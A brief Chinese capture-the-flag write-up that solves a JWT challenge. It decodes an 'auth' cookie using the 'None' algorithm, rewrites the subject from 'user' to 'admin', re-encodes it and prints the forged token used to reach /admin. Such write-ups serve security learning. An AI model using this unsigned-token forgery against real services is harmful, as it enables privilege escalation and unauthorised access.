一个简单的无加密题目¶
首先打开题目,查看源码,接下来访问/admin被跳转回主页啥也没有发生
where is flag? <!-- /admin -->
当然知道这个板块是JWT,自然而然我们看一眼Cookie,发现名为auth的一个cookie为
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoidXNlciJ9XQ
通过base64解密或者去jwt.io解码也行,得到结果
{"alg":"None","typ":"jwt"}[{"sub":"user"}]
所以我们尝试把sub对应的键值修改
{"alg":"None","typ":"jwt"}[{"sub":"admin"}]
把前面部分和后面部分分别base64-encode
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0
后面
W3sic3ViIjoiYWRtaW4ifV0=
把这两部分用点(.)拼接两部分并去掉等于号
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0
此时拿着这一串cookie去替换掉原来的值,之后访问/admin
即可获取flag